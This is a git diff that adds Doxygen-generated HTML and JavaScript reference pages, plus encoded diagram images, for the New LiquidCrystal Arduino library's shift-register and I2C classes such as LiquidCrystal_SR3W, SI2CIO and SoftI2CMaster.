LCD 2 wire SHIFT REGISTER constructor. Defines the pin assignments that connect to the shift register. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters
+ + + + +
srdata[in]Arduino pin for shift register data line.
srclock[in]Arduino pin for shift register clock line.
blpol[in]optional backlight polarity (default = POSITIVE)
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR2W::send (uint8_t value,
uint8_t mode 
)
+ 		+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SR2W::setBacklight (uint8_t mode)
+ 		+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
mode[in]backlight mode (0 off, non-zero on)
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR2W.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR2W.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.js new file mode 100644 index 0000000..bc31d56 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.js @@ -0,0 +1,6 @@ +var class_liquid_crystal___s_r2_w = +[ + [ "LiquidCrystal_SR2W", "class_liquid_crystal___s_r2_w.html#af307fdf5c8feb757e965074dcdeb1dd3", null ], + [ "send", "class_liquid_crystal___s_r2_w.html#a65dc6f261c319be8e56f3c1f6a5c877d", null ], + [ "setBacklight", "class_liquid_crystal___s_r2_w.html#a2158db27287c1564a03e7a1472beb3b6", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.png new file mode 100644 index 0000000000000000000000000000000000000000..67a121eb206625c7c02ba049dc71b87fcd23bf33 GIT binary patch literal 622 zcmeAS@N?(olHy`uVBq!ia0vp^bwJ#~!3-qD%+~J%QW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;^pzVsgzMjvw7KXY%PNIk~=4R&x2{`gh9ar2(szmHG<(_UryG-0S=Q z{Nc|L;VMc=;^JQ??{4YnNRGMvyOQ;mfM8+6=gt0q-(UJ4@XX!ijx$LA5<4ZQmbm;h zHRcCg$_;#L>tvSJt^Jo6{_E&3{_}sXFt6~iZRohd+<{IVh-^!gC^6Wvd$q^j-Mc&X zuh?Gn=|{BF%Hs0-XI1}-$hVvB+AaUMYoDG|d`bCz&sTTv@=vTveYXDm&SyKz%lEfm z*}c0Pq?2QBokW`>+W}EG2HB{;7G8g&{vKZUrTeS=yq_!C114562(DxoK&Kiu&zSl0 z07J+UIfoTsp{POpDCFeHZ5eovEa_en>pV5x8)`CzW?&M zVfw4BKSQ#r^`_6i{;cxq$*;_r?0dcKzg~Uuyy$kZ`OHtRk6Ubg_4TaNm4mr2ci*gk zxpSuD<@c-WBpq)4zEl>wr~8-c!c%%*yua+a^|mPfdb#<(<$?0Mb^hhOpZ-!Oy_B!_ z-`{)kSFc~y{ + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SR3W Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SR3W, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SR3W)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SR3W)LiquidCrystal_SR3W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR3Wvirtual
setBacklight(uint8_t value)LiquidCrystal_SR3Wvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_SR3Wvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.html new file mode 100644 index 0000000..5ffe7b9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.html @@ -0,0 +1,464 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SR3W Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
LiquidCrystal_SR3W Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SR3W:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe)
 
+ LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
+ LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t value, t_backlighPol pol)
 
void setBacklight (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe 
)
+
+

Class constructor. Initializes class variables and defines the IO driving the shift register. The constructor does not initialize the LCD. Default configuration: Shift register LCD QA - 0 DB4 QB - 1 DB5 QC - 2 DB6 QD - 3 DB7 QE - 4 E QF - 5 QG - 6 Rs GND Rw

+
Parameters
+ + + + +
strobe[in]digital IO connected to shiftregister strobe pin.
data[in]digital IO connected to the shiftregister data pin.
clk[in]digital IO connected to the shiftregister clock pin.
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+

Class constructor. Initializes class variables and defines the control lines of the LCD and the shiftregister. The constructor does not initialize the LCD.

+
Parameters
+ + + + + + + + + + + +
strobe[in]digital IO connected to shiftregister strobe pin.
data[in]digital IO connected to shiftregister data pin.
clk[in]digital IO connected to shiftregister clock pin.
En[in]LCD En (Enable) pin connected to SR output pin.
Rw[in]LCD Rw (Read/write) pin connected to SR output pin.
Rs[in]LCD Rs (Reg Select) pin connected to SR output pin.
d4[in]LCD data 4 pin map to the SR output pin.
d5[in]LCD data 5 pin map to the SR output pin.
d6[in]LCD data 6 pin map to the SR output pin.
d7[in]LCD data 7 pin map to the SR output pin.
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR3W::send (uint8_t value,
uint8_t mode 
)
+ 		+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SR3W::setBacklight (uint8_t value)
+ 		+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
valuebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR3W::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
)
+ 		+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters
+ + + +
valuepin mapped on the 74HC595N (0, .., 7) for (Qa0, .., Qh7) respectively.
polpolarity POSITIVE|NEGATIVE.
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR3W.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR3W.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.js new file mode 100644 index 0000000..842f08b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.js @@ -0,0 +1,10 @@ +var class_liquid_crystal___s_r3_w = +[ + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html#ae1396bcd5e9c5b7ed13182c166de776b", null ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html#a7b2f382b76bc9d88adb8d681e824b4de", null ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html#a4fab8ff2f21bba3efd133cd8c87fffc0", null ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html#a24f051747dfeda48f7b207c3358c8015", null ], + [ "send", "class_liquid_crystal___s_r3_w.html#ade34af5b7fe795482f1848c2176d6e56", null ], + [ "setBacklight", "class_liquid_crystal___s_r3_w.html#a6d0fc7907ef9fd87c408a21b9bd49295", null ], + [ "setBacklightPin", "class_liquid_crystal___s_r3_w.html#a894d0ea8ea61c1d15acd8a26d417e477", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.png new file mode 100644 index 0000000000000000000000000000000000000000..33a43029daa176938d4de42b3e721e4bd781d764 GIT binary patch literal 620 zcmeAS@N?(olHy`uVBq!ia0vp^bwJ#~!3-qD%+~J%QW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;CsoLpZiE4ln}{X1pz(ja|z7n#R%>Y~3ruA2RC ze*5!{=R91F=;^&uFV|F3>MP8B`&=@kyQ717j(qK_`sx4LjqH^k$py&^Dk^;y6jb_B zWo#_T5H7)3lJWJi#@Fnx{JSsdU#qWpwp`A^^%bMb5;+GKbn2WD&*25l2k*wZzPfwY z^^fb`sgsZ251Nww?%nR4OXii7a%gelwF|}^vzr)7%Um3K5_!X4CGAN-_ z1!Bg=vJwqlSC~6~=>FQ5@$P!ksgQ>7S683?6S95&y=D{3nw%GmW*WL?hqrynE{VSO zNc-=dhfhCA*d!k~J^0nPW$wMD^XFZC@x1EylRSf`*S{Bbz4~%ms-*Dt zue>k${&{W}G~&K?uU}J}xyA3EYpv|1Rh8boY1`gkE$7|OS>?NTpZ)!He~someY5mq zc3I5T>o>JOt&96!yZgcEU*~4t-+TC4ZT$D(-0$nyXWj1$f2f;(`tq;!O4r_79Qbd! pdjCuBiSafJg7WLljVFKPU%NV8Ox&||9x!Pzc)I$ztaD0e0sxz7E{6aB literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3-members.html new file mode 100644 index 0000000..8185ec5 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3-members.html @@ -0,0 +1,120 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR_LCD3 Member List
+
+
+This is the complete list of members for LiquidCrystal_SR_LCD3, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
command(uint8_t value)LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR_LCD3(uint8_t srdata, uint8_t srclock, uint8_t enable)LiquidCrystal_SR_LCD3
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR_LCD3 [virtual]
setBacklight(uint8_t value)LCD [inline, virtual]
setBacklightPin(uint8_t value)LCD [inline, virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.html new file mode 100644 index 0000000..73b9d1e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.html @@ -0,0 +1,200 @@ + + + + +LCD Library: LiquidCrystal_SR_LCD3 Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions
+
+
LiquidCrystal_SR_LCD3 Class Reference
+
+
+ +

#include <LiquidCrystal_SR_LCD3.h>

+
+Inheritance diagram for LiquidCrystal_SR_LCD3:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + +

+Public Member Functions

 LiquidCrystal_SR_LCD3 (uint8_t srdata, uint8_t srclock, uint8_t enable)
virtual void send (uint8_t value, uint8_t mode)
+

Detailed Description

+
+

Definition at line 16 of file LiquidCrystal_SR_LCD3.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR_LCD3::LiquidCrystal_SR_LCD3 (uint8_t srdata,
uint8_t srclock,
uint8_t enable 
)
+
+
+

LCD SHIFT REGISTER constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters:
+ + + + +
srdata[in]pin for shiftregister data line.
srclock[in]pin for shiftregister clock line.
enable[in]enable pin for the shiftregister (also called strobe).
+
+
+ +

Definition at line 123 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR_LCD3::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters:
+ + +
value[in]Value to send to the LCD.
+
+
+
Returns:
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +

Definition at line 171 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+
The documentation for this class was generated from the following files: +
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.png new file mode 100644 index 0000000000000000000000000000000000000000..966e05cf9e457c77110adb4bac0ccacd89e03711 GIT binary patch literal 442 zcmeAS@N?(olHy`uVBq!ia0vp^lYuyZgBeI_xo@`xQW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;CBIRS^hfzu~p*F??vQ*wj8=YCCD7WLUtHD#5le2AOc6WJLDSkw#}fhw4U zAyjMBN!B7gfViCZ|^Z0iXVSMhbBY8UxdpUImM z#{Jkr@T0+cOK!K_>;1%)zD>A0PfGsCT{|V`<1S8$vfJ*=>DqPmpH0O?<;b*I^XBHg z?>T1C>bU<}aPRxe@{hJ0NjcZ~_T8?Vulx;mwu*b5PA{)L{?%^d<3CS>Rf7Ic$~1hh z^TX@Oudw;IDn8G({CrL{LDQkp(>!v8|K_gZ$W3;?w(T*uxV#`(tbM!D-Jf2|>Y5L- eEVK3b`Gno9Lc!XlKtlx>& + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
SI2CIO Member List
+
+
+ +

This is the complete list of members for SI2CIO, including all inherited members.

+ + + + + + + + + +
begin(uint8_t i2cAddr)SI2CIO
digitalRead(uint8_t pin)SI2CIO
digitalWrite(uint8_t pin, uint8_t level)SI2CIO
pinMode(uint8_t pin, uint8_t dir)SI2CIO
portMode(uint8_t dir)SI2CIO
read(void)SI2CIO
SI2CIO()SI2CIO
write(uint8_t value)SI2CIO
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.html b/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.html new file mode 100644 index 0000000..e9c4df0 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.html @@ -0,0 +1,330 @@ + + + + + + +New LiquidCrystal library: SI2CIO Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
SI2CIO Class Reference
+
+
+ + + + + + + + + + + + + + + + + + +

+Public Member Functions

 SI2CIO ()
 
int begin (uint8_t i2cAddr)
 
void pinMode (uint8_t pin, uint8_t dir)
 
void portMode (uint8_t dir)
 
uint8_t read (void)
 
uint8_t digitalRead (uint8_t pin)
 
int write (uint8_t value)
 
int digitalWrite (uint8_t pin, uint8_t level)
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
SI2CIO::SI2CIO ()
+
+

Constructor method Class constructor constructor.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
int SI2CIO::begin (uint8_t i2cAddr)
+
+

Initializes the device. This method initializes the device allocating an I2C address. This method is the first method that should be call prior to calling any other method form this class. On initialization all pins are configured as INPUT on the device.

+
Parameters
+ + +
i2cAddrI2C Address where the device is located.
+
+
+
Returns
1 if the device was initialized correctly, 0 otherwise
+ +
+
+ +
+
+ + + + + + + + +
uint8_t SI2CIO::digitalRead (uint8_t pin)
+
+

Read a pin from the device. Reads a particular pin from the device. To read a particular pin it has to be configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters
+ + +
pin[in]Pin from the port to read its status. Range (0..7)
+
+
+
Returns
Returns the pin status (HIGH, LOW) if the pin is configured as an output, reading its value will always return LOW regardless of its real state.
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
int SI2CIO::digitalWrite (uint8_t pin,
uint8_t level 
)
+
+

Writes a digital level to a particular pin. Write a level to the indicated pin of the device. For this method to have effect, the pin has to be configured as OUTPUT using the pinMode or portMode methods.

+
Parameters
+ + +
pin[in]device pin to change level. Range (0..7). level[in] logic level to set the pin at (HIGH, LOW).
+
+
+
Returns
1 on success, 0 otherwise.
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void SI2CIO::pinMode (uint8_t pin,
uint8_t dir 
)
+
+

Sets the mode of a particular pin. Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite has no effect on pins which are not declared as output.

+
Parameters
+ + + +
pin[in]Pin from the I2C IO expander to be configured. Range 0..7
dir[in]Pin direction (INPUT, OUTPUT).
+
+
+ +
+
+ +
+
+ + + + + + + + +
void SI2CIO::portMode (uint8_t dir)
+
+

Sets all the pins of the device in a particular direction. This method sets all the pins of the device in a particular direction. This method is useful to set all the pins of the device to be either inputs or outputs.

Parameters
+ + +
dir[in]Direction of all the pins of the device (INPUT, OUTPUT).
+
+
+ +
+
+ +
+
+ + + + + + + + +
uint8_t SI2CIO::read (void )
+
+

Reads all the pins of the device that are configured as INPUT. Reads from the device the status of the pins that are configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
int SI2CIO::write (uint8_t value)
+
+

Write a value to the device. Writes to a set of pins in the device. The value is the binary representation of all the pins in device. The value written is masked with the configuration of the direction of the pins; to change the state of a particular pin with this method, such pin has to be configured as OUTPUT using the portMode or pinMode methods. If no pins have been configured as OUTPUTs this method will have no effect.

+
Parameters
+ + +
value[in]value to be written to the device.
+
+
+
Returns
1 on success, 0 otherwise
+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SI2CIO.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SI2CIO.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.js b/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.js new file mode 100644 index 0000000..4d23e73 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.js @@ -0,0 +1,11 @@ +var class_s_i2_c_i_o = +[ + [ "SI2CIO", "class_s_i2_c_i_o.html#ae27c1861e885c6ade3f3923658957edf", null ], + [ "begin", "class_s_i2_c_i_o.html#aef6df8409b67bda118c2e055af3d6f47", null ], + [ "digitalRead", "class_s_i2_c_i_o.html#a15fe6d174fb001bca7866004e96f0b33", null ], + [ "digitalWrite", "class_s_i2_c_i_o.html#ae1e3c6fd22872f248de6a90af27d92de", null ], + [ "pinMode", "class_s_i2_c_i_o.html#a4ef4fb77ddd3d248be5e0898e33430a3", null ], + [ "portMode", "class_s_i2_c_i_o.html#a8e78ee0ee2d1bb12136b5c5a3487512b", null ], + [ "read", "class_s_i2_c_i_o.html#a32cb72361397c1051ee650dbb2190060", null ], + [ "write", "class_s_i2_c_i_o.html#a47c3ac3198cddcf9e6da1ccacd9db5d9", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master-members.html new file mode 100644 index 0000000..e1bbc3d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master-members.html @@ -0,0 +1,143 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.0 +
+
Generic LCD driver library
+
+
+ + + + + +
+
+ +
+
+
+ +
+ +
+
+ + +
+ +
+ +
+
+
SoftI2CMaster Member List
+
+
+ +

This is the complete list of members for SoftI2CMaster, including all inherited members.

+ + + + + + + + + + + + + + + + + +
beginTransmission(uint8_t address) (defined in SoftI2CMaster)SoftI2CMaster
beginTransmission(int address) (defined in SoftI2CMaster)SoftI2CMaster
endTransmission(void) (defined in SoftI2CMaster)SoftI2CMaster
read(uint8_t ack) (defined in SoftI2CMaster)SoftI2CMaster
read() (defined in SoftI2CMaster)SoftI2CMaster
readLast() (defined in SoftI2CMaster)SoftI2CMaster
requestFrom(int address) (defined in SoftI2CMaster)SoftI2CMaster
requestFrom(uint8_t address) (defined in SoftI2CMaster)SoftI2CMaster
setPins(uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups) (defined in SoftI2CMaster)SoftI2CMaster
SoftI2CMaster() (defined in SoftI2CMaster)SoftI2CMaster
SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin) (defined in SoftI2CMaster)SoftI2CMaster
SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups) (defined in SoftI2CMaster)SoftI2CMaster
write(uint8_t) (defined in SoftI2CMaster)SoftI2CMaster
write(uint8_t *, uint8_t) (defined in SoftI2CMaster)SoftI2CMaster
write(int) (defined in SoftI2CMaster)SoftI2CMaster
write(char *) (defined in SoftI2CMaster)SoftI2CMaster
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.html b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.html new file mode 100644 index 0000000..72f566d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.html @@ -0,0 +1,181 @@ + + + + + + +New LiquidCrystal library: SoftI2CMaster Class Reference + + + + + + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.0 +
+
Generic LCD driver library
+
+
+ + + + + +
+
+ +
+
+
+ +
+ +
+
+ + +
+ +
+ +
+
+Public Member Functions | +List of all members
+
+
SoftI2CMaster Class Reference
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

+ SoftI2CMaster (uint8_t sclPin, uint8_t sdaPin)
 
+ SoftI2CMaster (uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups)
 
+void setPins (uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups)
 
+uint8_t beginTransmission (uint8_t address)
 
+uint8_t beginTransmission (int address)
 
+uint8_t endTransmission (void)
 
+uint8_t write (uint8_t)
 
+void write (uint8_t *, uint8_t)
 
+void write (int)
 
+void write (char *)
 
+uint8_t requestFrom (int address)
 
+uint8_t requestFrom (uint8_t address)
 
+uint8_t read (uint8_t ack)
 
+uint8_t read ()
 
